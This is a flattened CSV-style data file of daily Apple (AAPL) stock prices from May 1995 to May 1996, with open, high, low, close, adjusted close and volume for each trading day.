-1995-05-22,1.5178571939468384,1.5758928060531616,1.5089285373687744,1.5758928060531616,1.3594200611114502,92971200.0,AAPL -1995-05-23,1.5758928060531616,1.5848214626312256,1.5535714626312256,1.5669642686843872,1.3517175912857056,69165600.0,AAPL -1995-05-24,1.5625,1.5803571939468384,1.53125,1.5535714626312256,1.3401650190353394,66166800.0,AAPL -1995-05-25,1.5446428060531616,1.5714285373687744,1.5357142686843872,1.5491071939468384,1.3363137245178223,45715600.0,AAPL -1995-05-26,1.5357142686843872,1.5401785373687744,1.5089285373687744,1.5245535373687744,1.318785309791565,28638400.0,AAPL -1995-05-30,1.5223214626312256,1.53125,1.4821428060531616,1.5,1.2975454330444336,49095200.0,AAPL -1995-05-31,1.5044642686843872,1.5044642686843872,1.4642857313156128,1.484375,1.2840290069580078,39883200.0,AAPL -1995-06-01,1.4955357313156128,1.5178571939468384,1.4910714626312256,1.5066964626312256,1.3033384084701538,46681600.0,AAPL -1995-06-02,1.4955357313156128,1.5133928060531616,1.4821428060531616,1.5044642686843872,1.301406979560852,26423600.0,AAPL -1995-06-05,1.5133928060531616,1.5535714626312256,1.5044642686843872,1.5535714626312256,1.343886375427246,63663600.0,AAPL -1995-06-06,1.5580357313156128,1.5848214626312256,1.5535714626312256,1.5714285373687744,1.3593332767486572,78817200.0,AAPL -1995-06-07,1.5758928060531616,1.5758928060531616,1.5401785373687744,1.5401785373687744,1.332301139831543,31130400.0,AAPL -1995-06-08,1.5491071939468384,1.5491071939468384,1.5044642686843872,1.5334821939468384,1.3265087604522705,34034000.0,AAPL -1995-06-09,1.5580357313156128,1.5625,1.5401785373687744,1.5535714626312256,1.343886375427246,46656400.0,AAPL -1995-06-12,1.5714285373687744,1.5892857313156128,1.5669642686843872,1.5775669813156128,1.3646430969238281,53029200.0,AAPL -1995-06-13,1.5892857313156128,1.59375,1.5669642686843872,1.5714285373687744,1.3593332767486572,31486000.0,AAPL -1995-06-14,1.5669642686843872,1.5669642686843872,1.5491071939468384,1.5580357313156128,1.3477482795715332,29512000.0,AAPL -1995-06-15,1.5580357313156128,1.5625,1.5491071939468384,1.5580357313156128,1.3477482795715332,23189600.0,AAPL -1995-06-16,1.5669642686843872,1.5714285373687744,1.5535714626312256,1.5669642686843872,1.3554717302322388,22302000.0,AAPL -1995-06-19,1.5669642686843872,1.6160714626312256,1.5535714626312256,1.5848214626312256,1.3709185123443604,117384400.0,AAPL -1995-06-20,1.6428571939468384,1.7053571939468384,1.6428571939468384,1.6919642686843872,1.4636003971099854,184632000.0,AAPL -1995-06-21,1.7008928060531616,1.7901785373687744,1.6696428060531616,1.7633928060531616,1.525388479232788,156503200.0,AAPL -1995-06-22,1.75,1.7723214626312256,1.7366071939468384,1.7544642686843872,1.517665147781372,118479200.0,AAPL -1995-06-23,1.7410714626312256,1.75,1.7053571939468384,1.7410714626312256,1.5060797929763794,57990800.0,AAPL -1995-06-26,1.7232142686843872,1.7321428060531616,1.7008928060531616,1.71875,1.4867706298828125,38194800.0,AAPL -1995-06-27,1.6919642686843872,1.7232142686843872,1.65625,1.65625,1.4327064752578735,54275200.0,AAPL -1995-06-28,1.6428571939468384,1.6964285373687744,1.6205357313156128,1.6651785373687744,1.4404301643371582,66589600.0,AAPL -1995-06-29,1.65625,1.71875,1.6428571939468384,1.6875,1.4597387313842773,58139200.0,AAPL -1995-06-30,1.6875,1.7098214626312256,1.6473214626312256,1.6584821939468384,1.4346373081207275,41372800.0,AAPL -1995-07-03,1.6607142686843872,1.6830357313156128,1.6517857313156128,1.6763392686843872,1.4500844478607178,9847600.0,AAPL -1995-07-05,1.6741071939468384,1.7098214626312256,1.6607142686843872,1.6607142686843872,1.4365681409835815,44265200.0,AAPL -1995-07-06,1.6607142686843872,1.6785714626312256,1.6339285373687744,1.6785714626312256,1.4520152807235718,46023600.0,AAPL -1995-07-07,1.6741071939468384,1.7589285373687744,1.6696428060531616,1.7366071939468384,1.5022177696228027,96779200.0,AAPL -1995-07-10,1.7366071939468384,1.78125,1.71875,1.7366071939468384,1.5022177696228027,74482800.0,AAPL -1995-07-11,1.7053571939468384,1.7366071939468384,1.6808035373687744,1.6830357313156128,1.4558770656585693,53673200.0,AAPL -1995-07-12,1.6875,1.7142857313156128,1.6473214626312256,1.6785714626312256,1.4520152807235718,70952000.0,AAPL -1995-07-13,1.6919642686843872,1.7410714626312256,1.6830357313156128,1.7008928060531616,1.47132408618927,88082400.0,AAPL -1995-07-14,1.6919642686843872,1.75,1.6785714626312256,1.7410714626312256,1.5060797929763794,69482000.0,AAPL -1995-07-17,1.7455357313156128,1.7767857313156128,1.7366071939468384,1.75,1.513803243637085,56540400.0,AAPL -1995-07-18,1.75,1.7700892686843872,1.7053571939468384,1.71875,1.4867706298828125,63658000.0,AAPL -1995-07-19,1.6785714626312256,1.7142857313156128,1.6071428060531616,1.625,1.4056743383407593,130258800.0,AAPL -1995-07-20,1.6428571939468384,1.6919642686843872,1.6071428060531616,1.6808035373687744,1.4539462327957153,82818400.0,AAPL -1995-07-21,1.5357142686843872,1.6026785373687744,1.5357142686843872,1.5625,1.351609706878662,189470400.0,AAPL -1995-07-24,1.5714285373687744,1.625,1.5625,1.6205357313156128,1.4018126726150513,53656400.0,AAPL -1995-07-25,1.6428571939468384,1.65625,1.6294642686843872,1.6339285373687744,1.4133981466293335,65881200.0,AAPL -1995-07-26,1.6517857313156128,1.6517857313156128,1.6205357313156128,1.6205357313156128,1.4018126726150513,42862400.0,AAPL -1995-07-27,1.625,1.6964285373687744,1.625,1.671875,1.4462226629257202,81295200.0,AAPL -1995-07-28,1.6696428060531616,1.6875,1.6071428060531616,1.625,1.4056743383407593,65234400.0,AAPL -1995-07-31,1.625,1.6294642686843872,1.5982142686843872,1.6071428060531616,1.3902275562286377,39631200.0,AAPL -1995-08-01,1.6026785373687744,1.6026785373687744,1.5535714626312256,1.5535714626312256,1.343886375427246,52729600.0,AAPL -1995-08-02,1.5669642686843872,1.6071428060531616,1.5625,1.5848214626312256,1.3709185123443604,68782000.0,AAPL -1995-08-03,1.5758928060531616,1.6294642686843872,1.5669642686843872,1.6071428060531616,1.3902275562286377,53482800.0,AAPL -1995-08-04,1.6071428060531616,1.6116071939468384,1.5625,1.5803571939468384,1.367057204246521,48078800.0,AAPL -1995-08-07,1.5758928060531616,1.59375,1.5401785373687744,1.5491071939468384,1.3400248289108276,48440000.0,AAPL -1995-08-08,1.5580357313156128,1.5625,1.5133928060531616,1.5178571939468384,1.3129924535751343,58648800.0,AAPL -1995-08-09,1.5223214626312256,1.5625,1.5178571939468384,1.5401785373687744,1.332301139831543,92254400.0,AAPL -1995-08-10,1.5401785373687744,1.5446428060531616,1.5223214626312256,1.5267857313156128,1.3207157850265503,41006000.0,AAPL -1995-08-11,1.53125,1.5401785373687744,1.4955357313156128,1.5379464626312256,1.3303704261779785,51732800.0,AAPL -1995-08-14,1.5357142686843872,1.5625,1.53125,1.5491071939468384,1.3400248289108276,41851600.0,AAPL -1995-08-15,1.5669642686843872,1.5758928060531616,1.5401785373687744,1.5736607313156128,1.3612641096115112,79466800.0,AAPL -1995-08-16,1.5714285373687744,1.5892857313156128,1.5580357313156128,1.5892857313156128,1.3785384893417358,73158400.0,AAPL -1995-08-17,1.59375,1.625,1.5758928060531616,1.59375,1.3824106454849243,61723200.0,AAPL -1995-08-18,1.6026785373687744,1.6116071939468384,1.5625,1.6026785373687744,1.3901554346084595,60289600.0,AAPL -1995-08-21,1.6026785373687744,1.6205357313156128,1.5758928060531616,1.5758928060531616,1.3669217824935913,67944800.0,AAPL -1995-08-22,1.5848214626312256,1.6116071939468384,1.5758928060531616,1.5982142686843872,1.386283040046692,54261200.0,AAPL -1995-08-23,1.6026785373687744,1.6383928060531616,1.59375,1.625,1.4095170497894287,63450800.0,AAPL -1995-08-24,1.6294642686843872,1.6517857313156128,1.625,1.6339285373687744,1.4172616004943848,71982400.0,AAPL -1995-08-25,1.6383928060531616,1.6383928060531616,1.59375,1.5982142686843872,1.386283040046692,33586000.0,AAPL -1995-08-28,1.6026785373687744,1.6071428060531616,1.5357142686843872,1.5357142686843872,1.3320709466934204,60760000.0,AAPL -1995-08-29,1.5357142686843872,1.5446428060531616,1.5178571939468384,1.5401785373687744,1.3359432220458984,79265200.0,AAPL -1995-08-30,1.5446428060531616,1.5625,1.5401785373687744,1.5491071939468384,1.343687891960144,38368400.0,AAPL -1995-08-31,1.5491071939468384,1.5535714626312256,1.5357142686843872,1.5357142686843872,1.3320709466934204,21966000.0,AAPL -1995-09-01,1.5357142686843872,1.5535714626312256,1.53125,1.5334821939468384,1.3301348686218262,24595200.0,AAPL -1995-09-05,1.5535714626312256,1.5535714626312256,1.5267857313156128,1.5535714626312256,1.347560167312622,44993200.0,AAPL -1995-09-06,1.5669642686843872,1.5775669813156128,1.5535714626312256,1.5625,1.3553043603897095,50190000.0,AAPL -1995-09-07,1.5714285373687744,1.6183035373687744,1.5625,1.5982142686843872,1.386283040046692,65581600.0,AAPL -1995-09-08,1.5982142686843872,1.6026785373687744,1.5892857313156128,1.5982142686843872,1.386283040046692,43694000.0,AAPL -1995-09-11,1.6026785373687744,1.625,1.5803571939468384,1.5803571939468384,1.3707941770553589,43122800.0,AAPL -1995-09-12,1.5892857313156128,1.6026785373687744,1.5223214626312256,1.5334821939468384,1.3301348686218262,81564000.0,AAPL -1995-09-13,1.53125,1.5491071939468384,1.5,1.5133928060531616,1.3127095699310303,80687600.0,AAPL -1995-09-14,1.4776785373687744,1.4866071939468384,1.4196428060531616,1.4285714626312256,1.239135980606079,137639600.0,AAPL -1995-09-15,1.3348214626312256,1.4241071939468384,1.2678571939468384,1.28125,1.1113498210906982,302990800.0,AAPL -1995-09-18,1.2991071939468384,1.3147321939468384,1.28125,1.3102678060531616,1.1365193128585815,155372000.0,AAPL -1995-09-19,1.3125,1.3258928060531616,1.2901785373687744,1.3125,1.1384557485580444,122505600.0,AAPL -1995-09-20,1.3303571939468384,1.3348214626312256,1.3035714626312256,1.3080357313156128,1.1345834732055664,80452400.0,AAPL -1995-09-21,1.3035714626312256,1.3392857313156128,1.2991071939468384,1.3214285373687744,1.1462002992630005,86833600.0,AAPL -1995-09-22,1.3169642686843872,1.3303571939468384,1.2991071939468384,1.3236607313156128,1.1481366157531738,99660400.0,AAPL -1995-09-25,1.3660714626312256,1.3666294813156128,1.3348214626312256,1.33984375,1.1621737480163574,78803200.0,AAPL -1995-09-26,1.3482142686843872,1.3526785373687744,1.3258928060531616,1.3348214626312256,1.1578173637390137,62725600.0,AAPL -1995-09-27,1.3392857313156128,1.3392857313156128,1.2410714626312256,1.2946428060531616,1.1229668855667114,112809200.0,AAPL -1995-09-28,1.3035714626312256,1.3526785373687744,1.3035714626312256,1.3482142686843872,1.1694343090057373,82796000.0,AAPL -1995-09-29,1.3571428060531616,1.3660714626312256,1.3169642686843872,1.3303571939468384,1.1539450883865356,70854000.0,AAPL -1995-10-02,1.3482142686843872,1.375,1.3392857313156128,1.34375,1.1655620336532593,98000000.0,AAPL -1995-10-03,1.3616071939468384,1.375,1.3258928060531616,1.34375,1.1655620336532593,72455600.0,AAPL -1995-10-04,1.3080357313156128,1.3214285373687744,1.2857142686843872,1.2991071939468384,1.1268389225006104,66693200.0,AAPL -1995-10-05,1.2946428060531616,1.3080357313156128,1.28125,1.3035714626312256,1.130711317062378,61017600.0,AAPL -1995-10-06,1.3125,1.3214285373687744,1.2723214626312256,1.2745535373687744,1.1055415868759155,77260400.0,AAPL -1995-10-09,1.2633928060531616,1.2767857313156128,1.2276785373687744,1.2433035373687744,1.0784353017807007,93142000.0,AAPL -1995-10-10,1.2276785373687744,1.25,1.2008928060531616,1.2388392686843872,1.0745631456375122,100066400.0,AAPL -1995-10-11,1.2589285373687744,1.2723214626312256,1.21875,1.2455357313156128,1.0803714990615845,83218800.0,AAPL -1995-10-12,1.25,1.2633928060531616,1.2410714626312256,1.2611607313156128,1.0939244031906128,40513200.0,AAPL -1995-10-13,1.2767857313156128,1.3169642686843872,1.2678571939468384,1.2857142686843872,1.1152222156524658,58797200.0,AAPL -1995-10-16,1.2946428060531616,1.3214285373687744,1.28125,1.2901785373687744,1.119093894958496,45516800.0,AAPL -1995-10-17,1.3035714626312256,1.3169642686843872,1.28125,1.3080357313156128,1.1345834732055664,44654400.0,AAPL -1995-10-18,1.3214285373687744,1.4129464626312256,1.3125,1.3348214626312256,1.1578173637390137,128100000.0,AAPL -1995-10-19,1.28125,1.2901785373687744,1.2410714626312256,1.2410714626312256,1.076499581336975,236224800.0,AAPL -1995-10-20,1.2589285373687744,1.2589285373687744,1.2366071939468384,1.2544642686843872,1.08811616897583,96583200.0,AAPL -1995-10-23,1.2544642686843872,1.2544642686843872,1.2410714626312256,1.2544642686843872,1.08811616897583,49450800.0,AAPL -1995-10-24,1.2678571939468384,1.2678571939468384,1.2455357313156128,1.2544642686843872,1.08811616897583,53373600.0,AAPL -1995-10-25,1.2589285373687744,1.2633928060531616,1.2410714626312256,1.2410714626312256,1.076499581336975,33325600.0,AAPL -1995-10-26,1.2455357313156128,1.25,1.2321428060531616,1.2455357313156128,1.0803714990615845,31466400.0,AAPL -1995-10-27,1.2455357313156128,1.2455357313156128,1.21875,1.2410714626312256,1.076499581336975,38553200.0,AAPL -1995-10-30,1.2455357313156128,1.2589285373687744,1.2366071939468384,1.2589285373687744,1.091988205909729,43909600.0,AAPL -1995-10-31,1.2589285373687744,1.3080357313156128,1.2544642686843872,1.296875,1.1249030828475952,72304400.0,AAPL -1995-11-01,1.3080357313156128,1.3258928060531616,1.2678571939468384,1.3080357313156128,1.1345834732055664,48308400.0,AAPL -1995-11-02,1.3169642686843872,1.3169642686843872,1.2946428060531616,1.3080357313156128,1.1345834732055664,38189200.0,AAPL -1995-11-03,1.3125,1.3169642686843872,1.28125,1.3035714626312256,1.130711317062378,44858800.0,AAPL -1995-11-06,1.3035714626312256,1.3839285373687744,1.2991071939468384,1.3616071939468384,1.1810511350631714,77943600.0,AAPL -1995-11-07,1.3482142686843872,1.4464285373687744,1.3392857313156128,1.4151785373687744,1.2275184392929077,184097200.0,AAPL -1995-11-08,1.4196428060531616,1.4642857313156128,1.3839285373687744,1.3883928060531616,1.2042851448059082,89706400.0,AAPL -1995-11-09,1.4196428060531616,1.4285714626312256,1.3883928060531616,1.40625,1.2197742462158203,65027200.0,AAPL -1995-11-10,1.40625,1.4375,1.3883928060531616,1.4196428060531616,1.231391191482544,55778800.0,AAPL -1995-11-13,1.4375,1.4732142686843872,1.4285714626312256,1.4598214626312256,1.2662417888641357,79343600.0,AAPL -1995-11-14,1.4642857313156128,1.5178571939468384,1.4642857313156128,1.4821428060531616,1.2856030464172363,101819200.0,AAPL -1995-11-15,1.5,1.5,1.4330357313156128,1.4642857313156128,1.2701139450073242,62034000.0,AAPL -1995-11-16,1.4598214626312256,1.4821428060531616,1.4107142686843872,1.4263392686843872,1.2371994256973267,56557200.0,AAPL -1995-11-17,1.4285714626312256,1.4419642686843872,1.4196428060531616,1.4330357313156128,1.2430078983306885,32132800.0,AAPL -1995-11-20,1.4375,1.4375,1.375,1.3794642686843872,1.196540355682373,37114000.0,AAPL -1995-11-21,1.3839285373687744,1.3839285373687744,1.3526785373687744,1.3794642686843872,1.2002732753753662,47902400.0,AAPL -1995-11-22,1.3794642686843872,1.4017857313156128,1.375,1.3794642686843872,1.2002732753753662,24701600.0,AAPL -1995-11-24,1.3883928060531616,1.4419642686843872,1.3839285373687744,1.4352678060531616,1.2488276958465576,27487600.0,AAPL -1995-11-27,1.4508928060531616,1.4508928060531616,1.40625,1.40625,1.2235792875289917,28968800.0,AAPL -1995-11-28,1.40625,1.4330357313156128,1.4017857313156128,1.4285714626312256,1.2430016994476318,44072000.0,AAPL -1995-11-29,1.4330357313156128,1.4330357313156128,1.3928571939468384,1.4017857313156128,1.2196950912475586,26317200.0,AAPL -1995-11-30,1.3883928060531616,1.3928571939468384,1.3571428060531616,1.3616071939468384,1.1847355365753174,43713600.0,AAPL -1995-12-01,1.3571428060531616,1.3660714626312256,1.3258928060531616,1.34375,1.1691983938217163,51052400.0,AAPL -1995-12-04,1.4330357313156128,1.4330357313156128,1.3928571939468384,1.4107142686843872,1.227463722229004,120170400.0,AAPL -1995-12-05,1.375,1.4241071939468384,1.3660714626312256,1.4107142686843872,1.227463722229004,90899200.0,AAPL -1995-12-06,1.4196428060531616,1.4241071939468384,1.3705357313156128,1.3839285373687744,1.2041573524475098,50276800.0,AAPL -1995-12-07,1.3839285373687744,1.3839285373687744,1.3526785373687744,1.3772321939468384,1.1983309984207153,35481600.0,AAPL -1995-12-08,1.3839285373687744,1.40625,1.3526785373687744,1.40625,1.2235792875289917,35338800.0,AAPL -1995-12-11,1.4107142686843872,1.4151785373687744,1.3705357313156128,1.3794642686843872,1.2002732753753662,27913200.0,AAPL -1995-12-12,1.3794642686843872,1.3794642686843872,1.3571428060531616,1.3571428060531616,1.1808511018753052,44388400.0,AAPL -1995-12-13,1.3660714626312256,1.3928571939468384,1.3125,1.3705357313156128,1.1925045251846313,171225600.0,AAPL -1995-12-14,1.3883928060531616,1.40625,1.3571428060531616,1.3660714626312256,1.1886197328567505,83375600.0,AAPL -1995-12-15,1.2678571939468384,1.3080357313156128,1.2276785373687744,1.2589285373687744,1.0953949689865112,181720000.0,AAPL -1995-12-18,1.2544642686843872,1.2589285373687744,1.1383928060531616,1.1517857313156128,1.0021699666976929,166633600.0,AAPL -1995-12-19,1.1696428060531616,1.1875,1.1517857313156128,1.1696428060531616,1.0177072286605835,107716000.0,AAPL -1995-12-20,1.1964285373687744,1.2008928060531616,1.1607142686843872,1.1651785373687744,1.01382315158844,91434000.0,AAPL -1995-12-21,1.1696428060531616,1.1696428060531616,1.1294642686843872,1.1607142686843872,1.0099385976791382,83218800.0,AAPL -1995-12-22,1.1651785373687744,1.1741071939468384,1.1473214626312256,1.1517857313156128,1.0021699666976929,58665600.0,AAPL -1995-12-26,1.1607142686843872,1.1607142686843872,1.1339285373687744,1.1450892686843872,0.9963434338569641,34876800.0,AAPL -1995-12-27,1.1473214626312256,1.1919642686843872,1.1383928060531616,1.15625,1.0060546398162842,67141200.0,AAPL -1995-12-28,1.1473214626312256,1.1696428060531616,1.1383928060531616,1.1428571939468384,0.9944009780883789,62498800.0,AAPL -1995-12-29,1.1428571939468384,1.15625,1.1294642686843872,1.1383928060531616,0.9905167818069458,76034000.0,AAPL -1996-01-02,1.1517857313156128,1.1517857313156128,1.1339285373687744,1.1473214626312256,0.9982854723930359,34823600.0,AAPL -1996-01-03,1.1428571939468384,1.1741071939468384,1.1383928060531616,1.1473214626312256,0.9982854723930359,107458400.0,AAPL -1996-01-04,1.15625,1.15625,1.1205357313156128,1.1272321939468384,0.9808056950569153,75045600.0,AAPL -1996-01-05,1.1294642686843872,1.2232142686843872,1.1205357313156128,1.2232142686843872,1.0643199682235718,111482000.0,AAPL -1996-01-08,1.2321428060531616,1.2678571939468384,1.2142857313156128,1.2366071939468384,1.0759729146957397,30335200.0,AAPL -1996-01-09,1.2366071939468384,1.2366071939468384,1.1696428060531616,1.1696428060531616,1.0177072286605835,62804000.0,AAPL -1996-01-10,1.1607142686843872,1.2410714626312256,1.1517857313156128,1.2232142686843872,1.0643199682235718,91358400.0,AAPL -1996-01-11,1.1651785373687744,1.25,1.15625,1.25,1.0876262187957764,189184800.0,AAPL -1996-01-12,1.2410714626312256,1.2410714626312256,1.1875,1.2098214626312256,1.0526667833328247,100464000.0,AAPL -1996-01-15,1.2053571939468384,1.2321428060531616,1.1919642686843872,1.21875,1.0604356527328491,90770400.0,AAPL -1996-01-16,1.2276785373687744,1.2410714626312256,1.2008928060531616,1.234375,1.0740309953689575,88228000.0,AAPL -1996-01-17,1.2276785373687744,1.2276785373687744,1.2053571939468384,1.2142857313156128,1.0565510988235474,59102400.0,AAPL -1996-01-18,1.1741071939468384,1.1919642686843872,1.0848214626312256,1.140625,0.9924589395523071,174596800.0,AAPL -1996-01-19,1.1071428060531616,1.1339285373687744,1.0491071939468384,1.0669642686843872,0.9283665418624878,207306400.0,AAPL -1996-01-22,1.0625,1.1071428060531616,1.0446428060531616,1.0892857313156128,0.947788655757904,124936000.0,AAPL -1996-01-23,1.2053571939468384,1.2142857313156128,1.1071428060531616,1.1294642686843872,0.9827477335929871,247072000.0,AAPL -1996-01-24,1.1473214626312256,1.1517857313156128,1.1339285373687744,1.1517857313156128,1.0021699666976929,163973600.0,AAPL -1996-01-25,1.1339285373687744,1.1428571939468384,1.0758928060531616,1.0803571939468384,0.9400197267532349,111300000.0,AAPL -1996-01-26,1.0848214626312256,1.1160714626312256,1.0223214626312256,1.09375,0.9516730904579163,183937600.0,AAPL -1996-01-29,1.0357142686843872,1.0625,1.0267857313156128,1.0401785373687744,0.905060350894928,83148800.0,AAPL -1996-01-30,0.9642857313156128,1.0044642686843872,0.9592633843421936,0.9754464030265808,0.8487366437911987,155710800.0,AAPL -1996-01-31,0.9910714030265808,1.0,0.9776785969734192,0.9866071343421936,0.8584477305412292,82014800.0,AAPL -1996-02-01,0.9821428656578064,1.0133928060531616,0.9821428656578064,1.0133928060531616,0.8817540407180786,83260800.0,AAPL -1996-02-02,1.03125,1.0580357313156128,1.0267857313156128,1.0446428060531616,0.9089447259902954,138994800.0,AAPL -1996-02-05,1.0602678060531616,1.0625,1.0357142686843872,1.0446428060531616,0.9089447259902954,79682400.0,AAPL -1996-02-06,1.0446428060531616,1.0714285373687744,1.0446428060531616,1.0580357313156128,0.9205979108810425,56554400.0,AAPL -1996-02-07,1.0625,1.0625,0.9910714030265808,1.0089285373687744,0.877869725227356,90081600.0,AAPL -1996-02-08,0.9821428656578064,1.0044642686843872,0.9821428656578064,0.9955357313156128,0.8662167191505432,65791600.0,AAPL -1996-02-09,0.9955357313156128,1.0178571939468384,0.9866071343421936,0.9910714030265808,0.8623321652412415,51422000.0,AAPL -1996-02-12,1.0044642686843872,1.0178571939468384,1.0,1.0133928060531616,0.8817540407180786,48568800.0,AAPL -1996-02-13,1.0,1.03125,0.9955357313156128,1.0044642686843872,0.873985230922699,57125600.0,AAPL -1996-02-14,1.0089285373687744,1.0089285373687744,0.9799107313156128,0.9866071343421936,0.8584477305412292,40796000.0,AAPL -1996-02-15,0.9866071343421936,1.0044642686843872,0.9776785969734192,1.0,0.8701008558273315,30520000.0,AAPL -1996-02-16,1.0044642686843872,1.0133928060531616,0.9821428656578064,0.9821428656578064,0.8545634746551514,39110400.0,AAPL -1996-02-20,1.0,1.0535714626312256,1.0,1.0357142686843872,0.9011759757995605,94228400.0,AAPL -1996-02-21,1.0491071939468384,1.0625,1.0401785373687744,1.0580357313156128,0.9205979108810425,55459600.0,AAPL -1996-02-22,1.0714285373687744,1.0758928060531616,1.0580357313156128,1.0669642686843872,0.9283665418624878,46046000.0,AAPL -1996-02-23,1.0669642686843872,1.0803571939468384,1.0580357313156128,1.0669642686843872,0.9283665418624878,43321600.0,AAPL -1996-02-26,1.0714285373687744,1.0758928060531616,1.0535714626312256,1.0535714626312256,0.9167134165763855,29570800.0,AAPL -1996-02-27,1.0669642686843872,1.0669642686843872,1.0178571939468384,1.0223214626312256,0.889522910118103,37290400.0,AAPL -1996-02-28,1.03125,1.03125,0.9866071343421936,0.9910714030265808,0.8623321652412415,46978400.0,AAPL -1996-02-29,0.9821428656578064,0.9910714030265808,0.9732142686843872,0.9821428656578064,0.8545634746551514,28221200.0,AAPL -1996-03-01,0.9866071343421936,0.9866071343421936,0.9508928656578064,0.9598214030265808,0.8351414203643799,57783600.0,AAPL -1996-03-04,0.9732142686843872,0.9776785969734192,0.9375,0.9375,0.815719723701477,46888800.0,AAPL -1996-03-05,0.9464285969734192,0.9553571343421936,0.9375,0.9508928656578064,0.8273728489875793,29610000.0,AAPL -1996-03-06,0.9553571343421936,0.9598214030265808,0.9330357313156128,0.9352678656578064,0.8137774467468262,24763200.0,AAPL -1996-03-07,0.9375,0.9419642686843872,0.90625,0.921875,0.8021242618560791,65016000.0,AAPL -1996-03-08,0.9196428656578064,0.9375,0.8928571343421936,0.9285714030265808,0.8079507946968079,37251200.0,AAPL -1996-03-11,0.9375,0.9419642686843872,0.9196428656578064,0.9241071343421936,0.8040664792060852,31752000.0,AAPL -1996-03-12,0.9285714030265808,0.9419642686843872,0.9151785969734192,0.921875,0.8021242618560791,24038000.0,AAPL -1996-03-13,0.9241071343421936,0.9330357313156128,0.9151785969734192,0.9196428656578064,0.8001821637153625,24920000.0,AAPL -1996-03-14,0.9241071343421936,0.9241071343421936,0.9107142686843872,0.9151785969734192,0.7962977290153503,23340800.0,AAPL -1996-03-15,0.9285714030265808,0.9285714030265808,0.9107142686843872,0.9241071343421936,0.8040664792060852,25345600.0,AAPL -1996-03-18,0.9263392686843872,0.9330357313156128,0.9196428656578064,0.9330357313156128,0.8118351101875305,27283200.0,AAPL -1996-03-19,0.9419642686843872,0.9464285969734192,0.9151785969734192,0.9196428656578064,0.8001821637153625,31091200.0,AAPL -1996-03-20,0.9196428656578064,0.9196428656578064,0.8973214030265808,0.9017857313156128,0.784644603729248,28996800.0,AAPL -1996-03-21,0.9107142686843872,0.9107142686843872,0.8928571343421936,0.8973214030265808,0.7807601690292358,27496000.0,AAPL -1996-03-22,0.9017857313156128,0.90625,0.8883928656578064,0.90625,0.7885289192199707,26891200.0,AAPL -1996-03-25,0.9107142686843872,0.9196428656578064,0.8571428656578064,0.8571428656578064,0.7458008527755737,41092800.0,AAPL -1996-03-26,0.8571428656578064,0.875,0.84375,0.8526785969734192,0.7419164180755615,40199600.0,AAPL -1996-03-27,0.8303571343421936,0.9017857313156128,0.8214285969734192,0.9017857313156128,0.784644603729248,107324000.0,AAPL -1996-03-28,0.8839285969734192,0.9151785969734192,0.8616071343421936,0.8638392686843872,0.7516274452209473,73973200.0,AAPL -1996-03-29,0.8660714030265808,0.8839285969734192,0.8482142686843872,0.8772321343421936,0.7632806897163391,41630400.0,AAPL -1996-04-01,0.8973214030265808,0.9241071343421936,0.8755580186843872,0.9107142686843872,0.7924133539199829,39659200.0,AAPL -1996-04-02,0.9151785969734192,0.9151785969734192,0.8883928656578064,0.8928571343421936,0.7768757343292236,25359600.0,AAPL -1996-04-03,0.8973214030265808,0.8973214030265808,0.8688616156578064,0.8772321343421936,0.7632806897163391,18060000.0,AAPL -1996-04-04,0.8794642686843872,0.8794642686843872,0.8571428656578064,0.8616071343421936,0.7496851682662964,21512400.0,AAPL -1996-04-08,0.8526785969734192,0.875,0.8482142686843872,0.8705357313156128,0.7574540972709656,42207200.0,AAPL -1996-04-09,0.8883928656578064,0.9464285969734192,0.8705357313156128,0.9285714030265808,0.8079507946968079,58769200.0,AAPL -1996-04-10,0.9330357313156128,0.9464285969734192,0.9241071343421936,0.9285714030265808,0.8079507946968079,43691200.0,AAPL -1996-04-11,0.9330357313156128,0.9375,0.9107142686843872,0.9196428656578064,0.8001821637153625,24567200.0,AAPL -1996-04-12,0.9241071343421936,0.9241071343421936,0.90625,0.9107142686843872,0.7924133539199829,20358800.0,AAPL -1996-04-15,0.9107142686843872,0.9196428656578064,0.8928571343421936,0.9196428656578064,0.8001821637153625,38519600.0,AAPL -1996-04-16,0.9241071343421936,0.9285714030265808,0.9151785969734192,0.9241071343421936,0.8040664792060852,25354000.0,AAPL -1996-04-17,0.9241071343421936,0.9285714030265808,0.8973214030265808,0.9017857313156128,0.784644603729248,21352800.0,AAPL -1996-04-18,0.90625,0.9068080186843872,0.8660714030265808,0.8839285969734192,0.7691071629524231,54311600.0,AAPL -1996-04-19,0.8794642686843872,0.8973214030265808,0.8794642686843872,0.8950892686843872,0.778817892074585,25449200.0,AAPL -1996-04-22,0.9017857313156128,0.9107142686843872,0.8883928656578064,0.8973214030265808,0.7807601690292358,27778800.0,AAPL -1996-04-23,0.8973214030265808,0.9017857313156128,0.8794642686843872,0.8839285969734192,0.7691071629524231,42487200.0,AAPL -1996-04-24,0.8794642686843872,0.8839285969734192,0.8638392686843872,0.8660714030265808,0.7535696029663086,32085200.0,AAPL -1996-04-25,0.8705357313156128,0.8883928656578064,0.8616071343421936,0.8883928656578064,0.7729914784431458,43601600.0,AAPL -1996-04-26,0.8928571343421936,0.8973214030265808,0.8794642686843872,0.8839285969734192,0.7691071629524231,47216400.0,AAPL -1996-04-29,0.8928571343421936,0.8928571343421936,0.875,0.8839285969734192,0.7691071629524231,30262400.0,AAPL -1996-04-30,0.8883928656578064,0.8883928656578064,0.8616071343421936,0.8705357313156128,0.7574540972709656,34165600.0,AAPL -1996-05-01,0.8705357313156128,0.8839285969734192,0.8616071343421936,0.8705357313156128,0.7574540972709656,28176400.0,AAPL -1996-05-02,0.875,0.875,0.8392857313156128,0.8482142686843872,0.7380321025848389,47076400.0,AAPL -1996-05-03,0.8616071343421936,0.8616071343421936,0.8392857313156128,0.8526785969734192,0.7419164180755615,27115200.0,AAPL -1996-05-06,0.8883928656578064,0.9241071343421936,0.8839285969734192,0.9151785969734192,0.7962977290153503,72371600.0,AAPL -1996-05-07,0.9419642686843872,0.9776785969734192,0.9375,0.9598214030265808,0.8351414203643799,88384800.0,AAPL -1996-05-08,0.9732142686843872,0.9732142686843872,0.9151785969734192,0.9553571343421936,0.8312572240829468,46698400.0,AAPL -1996-05-09,0.9419642686843872,0.9464285969734192,0.9196428656578064,0.9330357313156128,0.8118351101875305,24519600.0,AAPL -1996-05-10,0.9375,0.9776785969734192,0.9285714030265808,0.9732142686843872,0.846794605255127,27647200.0,AAPL -1996-05-13,0.96875,0.9866071343421936,0.9508928656578064,0.9665178656578064,0.8409680724143982,46754400.0,AAPL -1996-05-14,0.9910714030265808,1.0,0.9821428656578064,0.9821428656578064,0.8545634746551514,49406000.0,AAPL 